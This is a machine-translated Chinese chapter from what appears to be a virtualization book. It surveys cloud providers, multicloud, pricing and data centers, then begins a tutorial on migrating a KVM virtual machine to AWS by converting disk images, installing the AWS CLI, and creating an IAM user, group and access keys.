-在本书中我们提到云的几乎所有其他地方,我们都谈到了扩展,但当我们试图将 AWS 描述为能够扩展时,我们谈论的可能是地球上最大的容量和可扩展性提供商之一。 - -目前,互联网上或多或少有四家真正的云提供商:AWS、Microsoft Azure、Google Cloud Platform 和阿里巴巴。 由于出于商业原因,所有数据都是保密的,因此服务器的数量和它们能提供的绝对容量是分析师试图估计的,或者更多的是猜测,但它必须以数百万计。 - -## 走近云端 - -虽然从表面上看,他们现在正在争夺同一个云市场,但所有的参与者都来自不同的背景,即使是现在,他们使用基础设施的方式也截然不同。 在这个市场上,亚马逊是第一个,它在 IT 领域领先了一步,这似乎令人难以置信-大约 6*年*。 亚马逊在 2006 年推出了亚马逊网络服务(Amazon Web Services),但它在几年前就开始了这项服务的开发。 甚至有一篇博客文章提到了早在 2004 年发布的这项服务。 当亚马逊意识到它拥有市场上无与伦比的庞大基础设施,并通过扩大它并将其作为一项服务提供时,它就基本上就有了创建 AWS 的想法,它可以盈利。 在那个时间点上,他们拥有的基础设施被用来提供 Amazon.com 服务。 - -这个想法与市场上的任何东西都不同。 人们习惯于将计算机并置在数据中心,并且能够在*云*中租用服务器,但是只租用他们需要的堆栈部分而不是整个硬件基础设施的概念是新的。 AWS 提供的第一个大服务很简单,甚至命名为**简单存储服务**(**S3**),还有**弹性计算云**(**EC2**)。 S3 基本上是云支持的存储,它为那些能够支付的人提供了几乎无限的存储资源,就像今天一样。 EC2 提供计算资源。 - -产品扩展到**内容交付网络**(**CDN**),并在接下来的 6 年里扩展到更多,而竞争对手仍在努力理解云的实际含义。 - -我们稍后会回到 AWS 提供的服务上,但只有在我们提到他们最终在这个每年价值数千亿美元的市场上获得的竞争之后,我们才会回到 AWS 提供的服务上来。 - -微软在本世纪头十年末的某个时候意识到,它需要建立一个基础设施来支持自己和客户。 微软有自己的业务支持基础设施来运营公司,但当时没有向普通公众提供公共服务。 在 2010 年引入**Microsoft Azure**之后,就改变了。 最初,它被称为**Windows Azure**,创建它主要是为了同时为微软及其合作伙伴运行服务,主要是在 Windows 上。 很快,微软意识到,仅仅在云中提供一个微软操作系统会让他们失去很多客户,所以 Linux 也是作为一个可以安装和使用的操作系统提供的。 - -Azure 现在作为一个公开可用的云运行,但是很大一部分仍然被微软及其服务所使用,最引人注目的是**Office 365**和无数的微软培训和营销解决方案。 - -另一方面,谷歌以一种不同的方式进入市场。 他们也意识到了云产品的需求,但在 2008 年,他们与云的第一次接触仅限于提供名为**App Engine**的单一服务。 这是一项面向网络开发人员社区的服务,谷歌甚至以有限的方式免费发放了 1 万份使用该服务的许可证。 就其核心而言,这项服务以及它之后出现的几乎所有服务的前提是,Web 需要能够使开发人员能够快速部署可扩展或不可扩展、可工作或不工作的服务。 因此,免费提供意味着很多开发人员倾向于只使用该服务进行简单测试。 - -谷歌现在也提供了大量的服务,但当你从外部看一看实际的服务和定价时,你会发现谷歌创建云似乎是为了出租其数据中心的额外容量。 - -## 多云 - -回顾几年前,Azure 和 Google Cloud Platform 都有可行的云服务,但与 AWS 提供的服务相比,他们的服务根本达不到标准。 无论是在市场份额方面,还是在人们的心目中,AWS 都是最大的参与者。 Azure 被认为更面向微软,尽管在其上运行的一半以上的服务器都是基于 Linux 的,而且谷歌并不被视为竞争对手;他们的云看起来更像是一项副业,而不是一个可行的运行云的方案。 - -然后出现了**多云**。 想法很简单-不使用单个云来部署您的服务;使用多个云提供商来提供*数据冗余*、*可用性*和*故障转移*,最重要的是*降低成本和灵活性*。 这听起来可能很奇怪,但使用云服务时最大的成本之一就是从云服务中获取数据。 通常,将数据放入云中,无论是用户上传数据,还是您在服务器上部署数据,要么是免费的,要么成本极低,这是有道理的,因为如果您有大量的在线数据,您就更有可能在这个特定的云上使用更多的服务。 一旦需要提取数据,它就会变得昂贵。 这是故意的,它将用户锁定在云提供商中。 一旦您上传了数据,只将其保存在服务器上而不尝试离线使用要便宜得多。 但在讨论多云时,数据并不是唯一需要考虑的因素;服务也是方程式的一部分。 - -### 为什么选择多云? - -许多公司(我们必须强调的是,由于涉及的成本,多云用户大多是大公司)害怕被限制在特定的平台或技术中。 最大的问题之一是,如果一个平台发生了如此大的变化,以至于公司不得不重做部分基础设施,会发生什么? 想象一下,您是一家价值数十亿美元的公司,正在为您自己的数十万用户运行一个企业应用。 您选择云的原因很常见--降低资本支出,并能够扩展您的服务。 你决定和一家大供应商合作。 突然间,您的提供商决定要更改技术,并将逐步淘汰部分基础设施。 当涉及到这样的轮班时,通常意味着您当前的设置将慢慢变得更加昂贵,或者您将失去部分可用的功能。 值得庆幸的是,这些事情通常也会持续数年,因为任何理智的云提供商都不会在一夜之间经历战略变化。 - -但改变就是改变,作为一家公司,你可以选择-留在供应商那里,面临系统价格高得多的后果-或者重新设计系统,这也会耗资,可能需要数年甚至几十年的时间才能完成。 - -因此,许多公司决定采取非常保守的策略--设计一个可以在任何云上运行的系统,这意味着使用所有可用技术中最小的公分母。 这也意味着系统可以在几天内从云迁移到云。 他们中的一些人甚至决定在同一时间在不同的云上运行该系统。 这是一种极其保守的方法,但它是有效的。 - -使用多云策略的另一个重要原因与我们刚才提到的完全相反。 有时,我们的想法是使用一个或多个特定的云服务,这些服务在非常专门的任务中是最好的。 这意味着选择来自不同提供商的不同服务来执行不同的任务,但要尽可能高效地完成任务。 从长远来看,这也意味着必须不时更换供应商和系统,但如果公司使用的核心系统在设计时考虑到了这一点,这种方法可能会有其好处。 - -## 隐藏它 - -还有另一种方式,一家公司甚至可以在不知情的情况下成为多云环境,这通常被称为**影子 IT**。 如果公司没有严格的安全策略和规则,一些员工可能会开始使用不属于公司提供的服务的服务。 它可以是云存储容器、视频会议系统或邮件列表提供商。 在更大的公司中,甚至可能是整个部门开始使用来自不同云提供商的东西,甚至都没有意识到这一点。 突然之间,一台服务器上的公司数据超出了公司 IT 覆盖或能够覆盖的范围。 - -这一特殊现象的一个较好的例子是在新冠肺炎病毒全球流行期间视频会议服务的使用情况发生了怎样的变化。 几乎所有的公司都有一个既定的通信系统,通常是一个覆盖整个公司的消息系统。 然后,几乎在一夜之间,大流行让所有的工人都呆在家里。 由于沟通是运营公司的关键,每个人都决定在一周内在全球范围内切换到视频和音频会议。 接下来发生的事情有一天可能会成为畅销书的主题。 大多数公司试图坚持他们的解决方案,但几乎所有公司的尝试在第一天都失败了,要么是因为这项服务太基础,要么太过时,不能同时用作音频和视频会议解决方案,要么因为这项服务不是为巨大的呼叫量和请求量而设计的,结果崩溃了。 - -人们想要编排,所以突然之间没有什么是不可能的。 每一个视频会议解决方案都突然成为候选解决方案。 公司、部门和团队开始试验不同的会议系统,云提供商很快意识到了这一机遇-几乎所有的服务都可以立即免费提供给即使是规模较大的部门,在某些情况下,允许多达 150 人参加会议。 - -由于需求,许多服务都崩溃了,但大型提供商大多能够扩大到保持一切正常运行所需的数量。 - -由于疫情是全球性的,许多人认为他们也需要一种与家人交谈的方式。 因此,个人用户开始在家里使用不同的服务,当他们决定某项服务有效时,他们会在工作中使用。 在短短几天内,公司变成了一个多云环境,人们使用一个提供商进行通信,另一个提供商用于电子邮件,第三个提供商用于存储,第四个提供商用于备份。 变化如此之快,以至于有时 IT 部门会在系统上线后几天就被告知这一变化,而人们已经在使用它们了。 - -这种变化是如此巨大,以至于在我们写这本书的时候,我们甚至无法预测,一旦用户意识到有一些服务比公司提供的软件工作得更好,将有多少服务将成为公司工具包的常规组成部分。 这些服务能够在这样的重大灾难中持续工作,进一步证明了这一点,因此公司范围内的软件使用政策只能做这么多来阻止这种混乱的多云方法。 - -## 市场份额 - -每个人一提到云计算公司和服务就会提到的第一件事就是它们各自拥有的市场份额。 我们也需要解决这一点,因为我们说过我们谈论的是*最大的*或*第二个*。 在多云成为一件事之前,市场份额基本上被 AWS 瓜分,市场份额最大;Azure 远远次之;其次是谷歌和一大群*小*提供商,如阿里巴巴、甲骨文、IBM 等。 - -一旦多云成为现实,最大的问题就是如何确定谁拥有最大的实际市场份额。 所有的大公司都开始使用不同的云提供商,仅仅试图增加提供商的市场份额已经变得困难。 从不同的民意调查中可以明显看出,亚马逊仍是领先的提供商,但企业正慢慢开始与亚马逊服务一起使用其他提供商。 - -这意味着,到目前为止,AWS 仍然是云提供商的首选,但选择本身不再与单一提供商有关。 人们也在使用其他提供商。 - -## 基础设施庞大但没有服务 - -有时候,试图瓜分市场份额还有另一个必须考虑的观点。 如果我们谈论的是云提供商,我们通常认为我们谈论的是那些拥有最大基础设施来支持云服务的公司。 有时候,在现实中,我们实际上是在比较那些拥有市场上最大服务组合的公司。 这是什么意思? - -有一家截然不同的公司,它拥有庞大的云业务,但几乎完全使用自己的基础设施来提供自己的内容-Facebook。 虽然很难用服务器、数据中心或任何其他指标来比较基础设施的规模,但由于这些数字是一个严密保密的秘密,Facebook 的基础设施的规模与 AWS 的规模相同。 真正的不同之处在于,这个基础设施不会为第三方提供服务,实际上,它从来都不打算这样做;Facebook 创建的一切都是为支持自己而量身定做的,包括为数据中心选择位置、配置和部署硬件以及创建软件。 Facebook 不会突然变成另一个 AWS;它太大了,不能这么做。 可用的基础设施并不总是与云市场份额相关。 - -## 定价 - -我们必须讨论的另一个话题,如果只是提一下的话,就是定价问题。 本书中几乎每一次提到云都是技术性的。 我们比较了从**IOPS**,到**GHz**,再到网络端的**PPS**,所有可能有意义的指标,但云不仅仅是一个技术问题--当您必须将其投入使用时,必须有人为其买单。 - -由于竞争激烈,定价是云计算领域的热门话题。 所有云提供商都有自己的定价策略,回扣和特惠几乎是常态,这一切都让理解定价变成了一场噩梦,特别是如果你对所有不同的模式都是新手的话。 有一件事是肯定的,所有的供应商都会说,他们只对你使用的东西收费,但定义他们的实际意思可能是一个很大的问题。 - -在开始规划部署成本时,您应该首先停下来,并尝试定义您需要什么、需要多少,以及您是否正在以应该使用的方式使用云。 到目前为止,最常见的错误是认为云在任何形式上都类似于使用普通服务器。 人们首先注意到的是在特定数据中心运行特定配置的特定实例的价格。 价格通常是实例的月度成本,并且通常是按比例计算的,因此您只需为您使用的部分付费,或者为不同的时间单位(每天、每小时,甚至可能是每秒)提供价格。 这应该是您的第一个提示:您为使用实例付费,因此为了降低成本,不要让实例一直运行。 这还意味着,您的实例必须设计为按需快速启动和关闭,因此使用*标准*方法(安装单个或多个服务器并始终运行它们)在这里不一定是一个好的选择。 - -在选择实例时,选择的选项实在太多了,在此不胜枚举。 所有的云提供商都对人们的需求有自己的想法,所以你不仅可以选择处理器数量或内存大小等简单的东西,还可以预装操作系统,并获得种类繁多的存储和网络选项。 存储是一个特别复杂的主题,我们只会快速触及这里的皮毛,稍后才会提到。 所有的云提供商都提供两样东西--某种类型的存储用于连接到实例,以及某种类型的存储用于服务。 给定提供商提供的内容可能取决于您尝试请求的实例、您尝试请求的数据中心以及许多其他因素。 预计您将不得不平衡三件事:容量、定价和速度。 当然,这里我们谈论的是实例存储。 存储即服务甚至更加复杂,因此,您不仅要考虑定价和容量,还要考虑延迟、带宽等其他因素。 - -例如,AWS 使您能够从各种服务中进行选择,从数据库存储、文件存储和长期备份存储,到不同类型的数据块和对象存储。 为了以最佳方式使用这些服务,您需要首先了解所提供的服务是什么、如何提供、涉及的不同成本是什么,以及如何将它们用于您的优势。 - -你很快就会注意到的另一件事是,当云提供商说一切都是服务时,他们真的是真心实意的。 完全可以在没有单个服务器实例的情况下运行应用。 任务可以通过将不同的服务缝合在一起来完成,这是通过设计实现的。 这创建了一个非常灵活的基础设施,可以快速轻松地进行扩展,但在设计所需的解决方案时,不仅需要不同的代码编写方式,而且需要完全不同的思维方式。 如果你没有经验,那就找个专家,因为这是你解决方案的根本问题。 它必须在云上运行,而不是在碰巧在云中的虚拟机上运行。 - -我们给你的建议很简单-*阅读大量文档*。 所有的提供商都有优秀的资源,可以让您了解他们的服务提供了什么以及如何提供,但数千页不会告诉您的是,与竞争对手相比如何,更重要的是,将服务连接在一起的最佳方式是什么。 在为云服务付费时,要预料到你会偶尔犯错误并为此买单。 这就是在部署服务时使用现收现付选项非常有用的原因--如果您犯了错误,您不会产生巨额账单;您的基础设施只会停止运行。 - -谈到定价时要提到的另一件事是,所有东西都要花一点钱,但给定配置的综合价格可能会很高。 任何额外的资源都是要花钱的。 服务器之间的*内部链接*、*外部 IP 地址*、*防火墙*、*负载均衡器*、*虚拟交换机*,这些都是我们在设计基础设施时通常不会考虑的事情,但一旦我们在云中需要它们,它们就会变得昂贵。 另一件可以预料到的事情是,某些服务具有不同的上下文-例如,如果您在实例之间或向外部传输数据,则网络带宽可能具有不同的价格。 同样的道理也适用于存储--正如我们在本章前面提到的,大多数提供商在存储和从云中获取数据时会向您收取不同的价格。 - -## 数据中心 - -在本章中,我们提到了几次**数据中心**,重要的是我们稍微谈一下它们。 数据中心是云基础设施的核心,其方式比您想象的要多。 当我们谈到很多服务器时,我们提到我们通常将它们组合到机架中,然后将这些机架放入数据中心。 正如您可能知道的那样,数据中心本质上是一组机架,其中包含服务器以最佳方式运行所需的所有基础设施,无论是在电源和数据方面,还是在冷却、保护和保持服务器运行所需的所有其他方面。 它们还需要在逻辑上划分为我们通常称为**故障域**的**风险区**,以便我们可以避免与*我们在一个机架*或*上部署所有东西在一台物理服务器上*场景相关的各种风险。 - -数据中心在任何情况下都是一个复杂的基础设施元素,因为它需要高效、安全和冗余的组合。 将一组服务器放入机架非常容易,但提供*冷却*和*电源*并非易事。 此外,如果您希望您的服务器正常工作,冷却、电源和数据都必须是*冗余的*,而且所有这些都需要安全,无论是火灾、洪水、地震还是人员,而且运营一个真正的数据中心的成本可能很高。 当然,一个运行数百台服务器的数据中心并不像运行数千台甚至数万台服务器的数据中心那么复杂,而且价格也会随着设施的规模而上涨。 此外,拥有多个数据中心会在连接这些数据中心时带来额外的基础设施挑战,因此成本会增加。 - -现在将成本乘以 100,因为这是每个云提供商在世界各地保留的数据中心数量。 有些中心很小,有些很大,但游戏的名字很简单-*Networking*。 为了成为真正的全球供应商,所有这些公司都必须拥有一个数据中心,或至少几台服务器,尽可能靠近你。 如果你在世界上几乎任何一个大国的大城市中阅读这篇文章,很可能在你方圆 100 英里的范围内有一台 AWS、微软或谷歌拥有的服务器。 自以来,所有提供商都试图在每个国家的每个大城市至少拥有一个数据中心,以使他们能够以极快的速度提供一系列服务。 这个概念被称为**联系点**(**POC**),意思是当您连接到提供商的云时,您只需要到达最近的服务器,之后,云将确保您的服务尽可能快。 - -但当我们谈论的是真正属于亚马逊或其他公司的数据中心时,我们仍然在处理一项大规模的运营。 在这里,数字数以百计,他们的位置也是一个秘密,主要是出于的安全原因。 他们都有一些共同之处。 它们是一个高度自动化的操作,位于一个主要电源、一个主要冷却源或一个主要数据中心附近的某个地方。 理想情况下,它们会被放置在一个拥有这三样东西的地方,但这通常是不可能的。 - -## 安置是关键 - -不同的公司有不同的战略,因为选择一个好的地方来建设数据中心可以意味着大量的成本节约。 有些人甚至走向极端。 例如,微软有一个完全淹没在海洋中的数据中心,以便于冷却。 - -在为特定用户提供服务时,您主要关心的通常是速度和延迟,而这又意味着您希望您的服务器或服务在离用户最近的数据中心运行。 为此,所有云提供商都按地理位置划分其数据中心,从而使管理员能够在互联网的最佳位置部署他们的服务。 但与此同时,这也造成了一个典型的资源问题--地球上有些地方只有少量可用数据中心,但人口稠密,有些地方恰恰相反。 这反过来又对资源价格产生直接影响。 当我们谈到定价时,我们提到了不同的标准;现在我们可以添加另一个位置。 数据中心的位置通常给出为**区域**。 这意味着 AWS 或任何其他提供商不会向您提供其数据中心的位置,而是会说该地区的*用户最好由这组服务器*提供服务。 作为用户,您不知道特定的服务器在哪里,相反,您只关心提供商提供给您的区域。 您可以在这里找到服务区域的名称及其代码: - -![Figure 13.1 – Service regions on AWS with the names used in the configuration ](img/B14834_13_01.jpg) - -图 13.1-使用配置中使用的名称的 AWS 上的服务区域 - -选择需求旺盛的地区提供的服务可能很昂贵,如果您选择其他地方的服务器,同样的服务可能会便宜得多。 这就是云的美妙之处--您可以使用适合您和您的预算的服务。 - -有时价格和速度并不是最重要的。 例如,欧洲关于个人数据收集、处理和移动的法规**GDPR**等法律框架基本上规定,来自欧洲的公司必须使用欧洲的数据中心,因为它们受该法规的保护。 在这种情况下,使用美国地区可能意味着公司要承担法律责任(除非运行此云服务的公司是允许此操作的其他框架的一部分,例如**Privacy Shield**)。 - -## AWS 服务 - -我们需要稍微谈谈 AWS 在服务方面提供了什么,因为了解服务是让您能够正确使用云的一件事。 在 AWS 上,所有可用的服务都按其用途分类。 由于 AWS 有数百项服务,因此您登录后看到的第一个页面--AWS 管理控制台--一开始会让人望而生畏。 - -您可能会出于学习目的使用 AWS Free Tier,因此第一步是实际开立 AWS 免费账户。 就我个人而言,我使用了我自己的个人账户。 对于免费的帐户,我们需要使用以下网址:[https://aws.amazon.com/free/](https://aws.amazon.com/free/),并按照步骤操作。 它只需要几条信息,比如电子邮件地址、密码和 AWS 帐户名。 它还会询问您的信用卡信息,以确保您不会滥用 AWS 帐户。 - -注册后,我们可以登录并进入 AWS 控制面板。 看看这张截图: - -![Figure 13.2 – Amazon services ](img/B14834_13_02.jpg) - -图 13.2-亚马逊服务 - -这里的每一件事都是一个链接,它们都指向不同的服务或包含子服务的页面。 此外,该屏幕截图仅显示了所有可用服务的三分之一左右。 在本书中全面介绍它们没有任何意义;我们只使用其中的三个来展示 AWS 如何连接到我们的 KVM 基础设施,但是一旦掌握了诀窍,您就会慢慢开始了解所有东西是如何连接的,以及在特定时刻要使用什么。 真正有帮助的是,AWS 有很棒的文档,而且所有不同的服务都有帮助您找到您要找的东西的配置向导。 - -在本特定章节中,我们将使用这三个服务:**IAM**、**EC2**和**S3**。 - -当然,所有这些都是缩写,但其他服务只使用项目名称,如**CloudFront**或**Global Accelerator**。 在任何情况下,您的首要任务都应该是开始使用它们,而不仅仅是阅读它们;一旦您很好地使用了结构,理解它就会容易得多。 - -在本章中,我们使用的是免费帐户,而且我们所做的几乎所有操作都是免费的,因此您没有理由不尝试自己使用 AWS 基础设施。 AWS 会尽其所能为您提供帮助,因此,如果您在控制台页面上向下滚动,您会发现这些有用的图标: - -![Figure 13.3 – Some AWS wizards, documentation, and videos – all very helpful ](img/B14834_13_03.jpg) - -图 13.3-一些 AWS 向导、文档和视频-都非常有用 - -所有这些都是简单的场景,可以让您在几分钟内免费启动并运行。 亚马逊意识到第一次使用云的用户被所有的选择压得喘不过气来,所以他们会试着在几分钟内让你的第一台机器运行起来,向你展示这是多么容易。 - -让我们让您熟悉我们将要使用的服务,我们将使用一个场景来实现这一点。 我们希望将在本地 KVM 安装中运行的计算机迁移到 Amazon AWS。 我们将一步一步地完成整个过程,但我们首先需要了解我们需要什么。 显然,第一件事是在云中运行虚拟机的能力。 在 AWS 领域,这就是 EC2 或 Amazon Elastic Compute Cloud。 - -### EC2 - -EC2 是少数几个真正的核心服务之一,这些服务基本上可以运行 AWS 云中的所有功能。 它是整个基础设施的可扩展计算能力提供商。 它支持使用各种存储、内存、CPU 和网络配置运行不同的实例或虚拟计算环境,还提供这些实例所需的所有其他功能,包括安全性、存储卷、区域、IP 地址和虚拟网络。 如果您需要更复杂的场景,例如,存在许多不同的存储选项,但实例的核心功能由 EC2 提供,则这些服务中的一些服务也可以单独提供。 - -### S3 - -此服务的全称实际上是 Amazon Simple Storage Service,因此命名为*Amazon S3*。 我们的想法是让您能够使用所提供的一种或多种方法,在需要的任何时间存储和检索任意数量的数据。 我们将使用的最重要的概念是*S3 桶*。 存储桶是一种逻辑存储元素,使您可以对存储的对象进行分组。 可以把它想象成一个存储容器的名称,您稍后将用它来存储东西,不管这些东西是什么。 您可以随心所欲地命名存储桶,但有一件事我们必须指出-存储桶的名称必须是*全局唯一的*。 这意味着当您命名存储桶时,它的名称必须不能在任何区域的其他任何地方重复。 这将确保您的存储桶有一个唯一的名称,但这也意味着尝试创建一个听起来像`bucket1`或`storage`的通用名称可能行不通。 - -创建存储桶后,您可以使用 Web、CLI 或 API 从其中上传和下载数据。 因为我们谈论的是一个全局系统,所以我们还必须指出,数据存储在您在创建存储桶时指定的区域中,并且一直保存在那里,除非您指定需要某种形式的多区域冗余。 在部署存储桶时请记住这一点,因为一旦您开始使用存储桶中的数据,您的用户或实例就需要获取数据,延迟可能会成为一个问题。 出于法律和隐私方面的考虑,除非您另有明确规定,否则数据永远不会离开您的专用区域。 - -一个存储桶可以存储任意数量的对象,但每个帐户有 100 个存储桶的限制。 如果这还不够,您可以请求(并支付)将该限制提高到 1000 个桶。 - -此外,请仔细查看存储和移动数据的其他不同选项-不同类型的存储可能满足也可能不符合您的需求和预算,例如 S3 Glacier,它为存储大量数据提供了便宜得多的选项,但如果您需要将数据取出,则价格昂贵。 - -### IAM - -AWS**Identity****和 Access Management**(**IAM**)是我们需要使用的服务,因为它启用了所有对象和服务的访问管理和权限。 在我们的示例中,我们将使用它来创建完成任务所需的策略、用户和角色。 - -### 其他服务 - -无法以简单的形式提及 AWS 提供的所有服务。 我们只提到了一些必要的内容,并试图为您指明正确的方向。 您可以尝试查看您的使用场景,以及如何配置满足您特定需求的内容。 - -到目前为止,我们已经解释了 AWS 是什么以及它可以变得多么复杂。 我们还提到了该平台最常用的部分,并开始解释它们的功能是什么。 我们将在将本地环境中的计算机实际迁移到 AWS 时对此进行扩展。 这将是我们的下一个任务。 - -# 为 AWS 准备和转换虚拟机 - -如果您在 Google 上搜索,将计算机从 KVM 迁移到 AWS 非常容易,只需按照此链接上的说明进行操作:[https://docs.amazonaws.cn/en_us/vm-import/latest/userguide/vm-import-ug.pdf](https://docs.amazonaws.cn/en_us/vm-import/latest/userguide/vm-import-ug.pdf) - -如果您实际尝试这样做,很快就会明白,鉴于*对 AWS 工作方式的基本*知识,您将无法按照说明进行操作。 这就是为什么我们选择执行这项简单的任务,作为使用 AWS 在云中快速创建工作虚拟机的示例。 - -## 我们想做什么? - -让我们定义一下我们在做什么--我们决定将我们的一台机器迁移到 AWS 云中。 目前,我们的计算机在本地 KVM 服务器上运行,我们希望它尽快在 AWS 上运行。 - -我们必须强调的第一件事是,这方面没有实时迁移选项。 没有简单的工具可以让您指向 KVM 计算机并将其移动到 AWS。 我们需要一步一步来,机器需要关掉。 在快速查阅文档后,我们制定了一个计划。 基本上,我们要做的是: - -1. 停止我们的虚拟机。 -2. 将计算机转换为与 AWS 中使用的导入工具兼容的格式。 -3. 安装所需的 AWS 工具。 -4. 创建能够执行迁移的帐户。 -5. 检查一下我们的工具是否正常工作。 -6. 创建一个 S3 存储桶。 -7. 将包含我们机器的文件上传到存储桶中。 -8. 将机器导入 EC2。 -9. 等待转换完成。 -10. 准备好机器启动。 -11. 在云中启动机器。 - -因此,让我们开始工作: - -1. A good place to start is by taking a look at our machines on our workstation. We will be migrating the machine named `deploy-1` to test our AWS migration. It's a core installation of CentOS 7 and is running on a host using the same Linux distribution. For that, we obviously need to have privileges: - - ![Figure 13.4 – Selecting a VM for our migration process ](img/B14834_13_04.jpg) - - 图 13.4-为我们的迁移过程选择虚拟机 - - 接下来要做的是停止机器-我们不能迁移正在运行的机器,因为我们需要转换机器正在使用的卷,以便使其与 EC2 上的导入工具兼容。 - -2. The documentation available at [https://docs.aws.amazon.com/vm-import/latest/userguide/vmimport-image-import.html](https://docs.aws.amazon.com/vm-import/latest/userguide/vmimport-image-import.html) states that: - - 将 VM 作为映像导入时,您可以导入以下格式的磁盘:开放式虚拟化归档(OVA)、虚拟机磁盘(VMDK)、虚拟硬盘(VHD/VHDX)和 RAW。对于某些虚拟化环境,您可以导出为开放式虚拟化格式(OVF)(通常包括一个或多个 VMDK、VHD 或 VHDX 文件),然后将这些文件打包到 OVA 文件中。 - - 在我们的特殊情况下,我们将使用`.raw`格式,因为它与导入工具兼容,并且从 KVM 使用的`.qcow2`格式转换为此格式相当简单。 - - 一旦我们的机器停止,我们需要进行转换。 在磁盘上找到图像并使用`qemu-img`进行转换。 唯一的参数是文件;转换器通过检测扩展名来了解它需要做什么: - - ![Figure 13.5 – Converting a qcow2 image to raw image format ](img/B14834_13_05.jpg) - - 图 13.5-将 qco2 图像转换为原始图像格式 - - 我们只需要转换映像文件,该文件包含系统的磁盘映像;VM 的安装过程中没有包含其他数据。 我们需要记住,我们正在转换为无压缩的格式,因此您的文件大小可能会显著增加: - - ![Figure 13.6 – The conversion process and the corresponding capacity change ](img/B14834_13_06.jpg) - - 图 13.6-转换过程和相应的容量更改 - - 我们可以看到,我们的文件从 42MB 增加到 8 GB,这仅仅是因为我们不得不删除`qcow2`提供的用于数据存储的高级功能。 空闲层仅提供 5 GB 的存储空间,请务必相应配置原始镜像大小。 - - 我们的下一个明显的步骤是将该图像上传到云中,因为转换是在那里完成的。 在这里,您可以使用不同的方法,GUI 或 CLI(API 也是可能的,但是对于这个简单的任务来说太复杂了)。 - -3. AWS has a CLI tool that facilitates working with services. It's a simple command-line tool compatible with most, if not all, the operating systems you can think of: - - ![Figure 13.7 – Downloading and uncompressing AWS CLI ](img/B14834_13_07.jpg) - - 图 13.7-下载并解压缩 AWS CLI - - 我们使用`curl`下载一个文件,并使用它的`-o`选项说明输出文件的名称。 显然,我们需要解压缩 ZIP 文件才能使用它。 文档中还参考了该工具的安装过程。 我们讨论的是一个简单的下载,之后我们必须解压该工具。 因为没有安装程序,所以工具不会在我们的路径中,所以从现在开始,我们需要通过绝对路径引用它。 - - 在使用 AWS CLI 之前,我们需要对其进行配置。 该工具必须知道它将如何连接到云,它将使用哪个用户,并且必须授予所有权限,以便该工具能够将数据上传到 AWS,然后导入并转换为 EC2 映像。 因为我们还没有进行配置,所以让我们切换到 AWS 上的 GUI 并配置我们需要的东西。 - - 重要音符 - - 从现在开始,如果屏幕截图中的某些内容看起来经过了编辑,那么它很可能就是经过编辑的。 为了让一切能够无缝运行,AWS 在屏幕上显示了大量的个人和账户数据。 - -4. We will go into **Identity and Access Management** or IAM, which looks like the following screenshot. Go to **Services** | **Security**, click on **Identity & Compliance**, and click on **IAM**. This is what you should see: - - ![Figure 13.8 – IAM console ](img/B14834_13_08.jpg) - - 图 13.8↓iam 控制台 - - 我们需要在屏幕左侧选择用户。 这将使我们能够访问用户控制台。 我们将创建名为`Administrator`的用户和名为`administrators`的组,并对其应用适当的权限。 然后,我们将该用户加入到组中。 在第一个屏幕上,您可以选择两个选项:**编程访问***和***AWS 管理控制台访问**。 第一个允许您使用 AWS CLI,第二个允许用户在需要此帐户进行配置时登录到管理控制台。 我们只选择第一个,但稍后会添加 API 密钥: - - ![Figure 13.9 – Configuring user permissions ](img/B14834_13_09.jpg) - - 图 13.9-配置用户权限 - - 单击相应选项后,我们可以设置用户的初始密码。 此用户必须在登录后立即进行更改: - - ![Figure 13.10 – Setting an initial password to be changed later ](img/B14834_13_10.jpg) - - 图 13.10-设置稍后要更改的初始密码 - - 我们还将为该用户创建一个组。 选择屏幕上部的相应按钮即可完成此操作: - - ![Figure 13.11 – Creating a group for our user ](img/B14834_13_11.jpg) - - 图 13.11-为我们的用户创建组 - - 我们可以直接向用户分配适当的策略,但将策略分配给组,然后将用户分配到适当的组是更好的选择,这样可以在需要删除用户的某些权限时节省大量时间。 单击左侧的**创建组**按钮后,即可命名和创建组。 名称框下面是许多预定义的策略,我们可以使用它们来配置严格的用户策略。 我们还可以创建自定义策略,但我们不会这样做: - - ![Figure 13.12 – Create a group wizard and policies ](img/B14834_13_12.jpg) - - 图 13.12-创建组向导和策略 - - 要使其正常工作,我们将创建一个组,其权限远远超过此任务的权限。 我们实际上是在向用户授予整个云的所有权限。 按**AWS 托管作业功能**过滤策略: - - ![Figure 13.13 – Filtering policies ](img/B14834_13_13.jpg) - - 图 13.13-过滤策略 - - 在本例中,我们将使用策略`AdministratorAccess`。 此策略非常重要,因为它允许我们将所有可用权限授予我们正在创建的`Administrators`组。 现在选择**AdministratorAccess**,然后单击屏幕右下角的**Create GROUP**: - - ![Figure 13.14 – Selecting a policy for our group ](img/B14834_13_14.jpg) - - 图 13.14-为我们的组选择策略 - - 下一步是标记:您可以创建稍后用于身份管理的不同属性或`tags`。 - -5. 给添加标签几乎可以使用任何东西--姓名、电子邮件、职称或您需要的任何东西。 我们将此留空: - -![Figure 13.15 – Adding tags ](img/B14834_13_15.jpg) - -图 13.15-添加标签 - -让我们回顾一下到目前为止我们已经配置了什么。 我们的用户是我们刚刚创建的组的成员,他们必须在登录后立即重置密码: - -![Figure 13.16 – Reviewing the user configuration with group, policy, and tag options ](img/B14834_13_16.jpg) - -图 13.16-使用组、策略和标记选项检查用户配置 - -接受这些并添加用户。 迎接你的应该是一个令人放心的绿色消息框,它会给你所有关于刚刚发生的事情的相关细节。 还有一个直接链接到控制台以进行管理访问,因此您可以与您的新用户共享: - -![Figure 13.17 – User creation was successful ](img/B14834_13_17.jpg) - -图 13.17-用户创建成功 - -创建用户后,我们需要启用其`Access Key`。 这是中使用不同命令行实用程序的正常概念。 它使我们能够提供一种方法,让应用以给定用户的身份执行某些操作,而不是向应用提供用户名或密码。 同时,我们可以为每个应用提供自己的密钥,因此当我们想要撤销访问权限时,只需禁用该密钥即可。 - -单击屏幕中间的**创建访问密钥**: - -![Figure 13.18 – Creating an access key ](img/B14834_13_18.jpg) - -图 13.18-创建访问密钥 - -关于这把钥匙,有几件事需要说明。 有两个字段-一个是密钥本身,即`Access key ID`,另一个是密钥的秘密部分,即`Secret access key`。 在安全性方面,这与拥有特定用户的用户名和密码完全相同。 您只有一次机会查看和下载密钥,在此之后,密钥就消失了。 这是因为我们在这里处理散列信息,而 AWS*不是*存储您的密钥,而是它们的散列。 这意味着如果您没有保存密钥,则无法检索密钥。 这还意味着,如果有人抓取了一个密钥,比如说通过从屏幕截图上读取它,他们就可以将自己标识为分配了该密钥的用户。 好的一面是,您可以创建任意多个密钥,在这里撤销它们只是一个删除它们的问题。 